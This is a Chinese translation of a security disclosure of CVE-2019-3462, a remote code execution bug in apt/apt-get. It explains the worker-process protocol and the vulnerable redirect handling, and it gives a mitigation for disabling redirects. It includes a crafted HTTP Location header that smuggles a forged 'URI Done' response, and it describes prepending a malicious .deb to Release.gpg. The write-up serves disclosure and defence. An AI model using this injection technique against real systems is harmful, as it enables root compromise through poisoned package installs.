apt apt-get中的遠程執行代碼
原文:《apt / apt-get中的遠程執行代碼》
作者:Max Justicz譯者:Nanako@知道創宇404實驗室TL,DR:
我在apt中發現了一個漏洞,它允許網路中間人(或惡意包鏡像)以root身份在安裝軟體包的機器上執行任意代碼。該漏洞已在apt最新版本中被修復。如果您擔心在更新過程中被利用,可以通過禁用http重定向來保護自己。為此,請運行:$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false
如果當前鏡像包在默認情況下重定向(意味著出現該標誌時無法更新apt),則需要選擇其它鏡像或直接下載程序包。該鏈接可以找到有關Debian升級的具體說明。Ubuntu的聲明可以在這裡找到。
作為證明,我錄製了一段攻擊如下Dockerfile
的視頻:
FROM debian:latest
RUN apt-get update && apt-get install -y cowsay
背景
在獲取數據時,apt將各種不同的數據傳輸協議的工作進程分離。然後,父進程通過stdin/stdout
與這些工作人員進行通信, 利用一個類似http的協議告訴他們要下載的內容並將它放到文件系統上。例如,在一台機器上運行 apt install cowsay
並用http請求下載相應包的時候,apt將提供/usr/lib/apt/methods/http
目錄,並返回100 Capabilities
消息:
100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
然後,父進程發送其配置並請求資源,如下所示:
601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070
然後工作進程會像下方這樣響應:
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers
200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
當http伺服器根據重定向進行響應時,工作進程返回103 Redirect
而非201 URI Done
。父進程根據此響應來確定接下來應該請求的資源:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
漏洞
不幸的是,進行http下載的進程會對HTTP Location
頭進行url解碼,並直接附加到103 Redirect
響應中:
// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);
// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect
URI: " << Queue->Uri << "
"
<< "New-URI: " << NewURI << "
"
<< "
" << std::flush;
Dequeue();
}
(注意:不同版本的apt之間存在重要差異。上述代碼來自Debian最近使用的1.4.y版本。一些Ubuntu版本使用的是1.6.y,它不僅僅是直接附加URI。然而在後續的http提取程序發出的600 URI Acquire
請求中仍然存在注入漏洞。其他版本我並沒有做檢查。)
因此,如果http伺服器發送Location: /new-uri%0AFoo%3A%20Bar
,http提取進程將回復以下內容:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar
或者,如果http伺服器發送:
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
那麼http提取進程會回復:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload
201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
注入惡意包
因為我在我的驗證程序中注入201 URI Done
響應,所以我不得不處理沒有下載任何包的問題。我需要一種方法讓惡意的.deb進入系統,以便在Filename參數中使用。
為了實現這點,我利用了apt update
時release.gpg
文件具有可塑性,並安裝在可預測的位置這個特點。具體來說,Release.gpg
包含的PGP簽名,如下所示:
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
只要注入的內容不接觸到簽名內容,apt的簽名驗證程序就不會報錯,所以我攔截了release.gpg
請求,並用我的惡意deb進行了預處理:
<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
然後,我在201 URI Done
響應中設置Filename參數:
/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
http / https爭議
默認情況下,Debian和Ubuntu都使用開箱即用的http存儲庫(Debian允許您在安裝過程中選擇所需鏡像,但實際上不支持https存儲庫 - 您必須先安裝apt-transport-https
)。
如果程序包清單已簽名,為什麼還要使用https?畢竟,由於包的大小有限,隱私獲益是最小的。而且使用https會使緩存受限。
也有對此很感興趣的人。某些網站專門解釋為什麼在apt上下文中使用https沒有意義。
這些都是很好的觀點,但是我這篇文章中的bug是存在的。無獨有偶——這是JannHorn在2016年發現的另一個具有相同影響的bug。沒錯,即使使用的是https,惡意鏡像依然可以利用這樣的漏洞。但我覺得,與其攻擊使用http或TLS證書的deb.debian.org
,還不如直接攻擊目標伺服器上的應用服務。
(假設apt-transport-https
本身沒有災難性的破壞。我並沒有審計,但它看起來像是圍繞libcurl的一個相對較薄的包裝。)
支持http是個好事。我只是認為把https作為更安全的默認存儲庫是值得的,如果用戶選擇這樣做的話,允許他們降低安全級別。如果伺服器包默認使用的是https,我就無法利用本文頂部的dockerfile。
總結
感謝apt維護者及時修補此漏洞,並感謝Debian安全團隊協助披露。這個漏洞已經註冊編號:CVE-2019-3462。
本文由 Seebug Paper 發布,如需轉載請註明來源。
歡迎關注我和專欄,我將定期搬運技術文章~
也歡迎訪問我們:知道創宇雲安全
推薦閱讀: